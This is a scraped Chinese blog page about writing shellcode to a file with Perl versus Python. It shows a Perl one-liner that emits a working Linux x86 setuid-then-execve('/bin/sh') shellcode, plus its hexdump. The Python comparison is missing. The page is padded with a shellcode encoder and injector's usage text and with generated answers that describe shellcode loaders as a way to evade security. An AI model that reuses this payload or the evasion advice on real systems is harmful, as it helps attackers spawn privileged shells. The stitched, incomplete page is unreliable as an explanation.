shellcode - Python vs Perl

本文探讨了使用Perl和Python编写shellcode到文件时的差异,包括字节数和Python自动添加的0x0a字符。
摘要由CSDN通过智能技术生成

What’s the difference between Python and Perl ?

Using perl to write shellcode into a file

[exploit@localhost Overflow]$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"' > sc
[exploit@localhost Overflow]$ wc -c sc
53 sc
[exploit@localhost Overflow]$ hexdump -C sc
00000000  31 c0 31 db b0 17 cd 80  eb 1f 5e 89 76 08 31 c0  |1.1.......^.v.1.|
00000010  88 46 07 89 46 0c b0 0b  89 f3 8d 4e 08 8d 56 0c  |.F..F......N..V.|
00000020  cd 80 31 db 89 d8 40 cd  80 e8 dc ff ff ff 2f 62  |..1...@......./b|
00000030  69 6e 2f 73 68                                    |in/sh|
00000035

53 bytes over.

Using python to write shellcode into a file


                
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:
### 回答1: Python shellcode 加载器是一个程序,它能够从字节串中动态地加载和执行二进制代码。这种技术通常用于绕过安全措施,因为它可以避免将可疑代码写入硬盘驱动器或在文件中进行存储,而是将其保存在内存中直接执行。 ### 回答2: Python shellcode加载器是一种用Python编写的程序,用于加载和执行Shellcode(一段机器码,通常用于执行系统级操作)的工具。Shellcode加载器通常用于渗透测试、恶意软件开发或安全研究等领域。 Python shellcode加载器的实现主要包括以下几个步骤: 1. 解析Shellcode:加载器首先需要解析Shellcode,将其转换为可执行的格式。这包括解析Shellcode的字节序列、指令等。 2. 构建可执行载体:加载器需要构建一个可执行的载体程序,用于将Shellcode加载到内存中执行。这个载体程序可以是Python脚本,也可以是其他编程语言编写的程序。 3. 加载和执行Shellcode:加载器将Shellcode加载到内存中,并在适当的内存位置执行Shellcode。为了提高Shellcode的执行效率和稳定性,加载器通常会在内存中申请合适大小的空间,并将Shellcode复制到这个地址。 4. 执行后续操作:一旦Shellcode执行完成,加载器可以根据需要进行后续操作,如输出结果、清理内存等。 Python shellcode加载器的优点在于使用简便、跨平台性好以及Python本身的强大功能。通过使用Python的相关库和模块,可以方便地实现Shellcode加载器,并完成Shellcode的加载和执行。此外,Python shellcode加载器还可以与其他工具或环境配合使用,如反射DLL注入、远程执行等,提供更多的功能和灵活性。 总而言之,Python shellcode加载器是一种用Python编写的工具,用于加载和执行Shellcode的程序。它能够方便地解析、加载和执行Shellcode,并提供了更多的灵活性和功能扩展。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值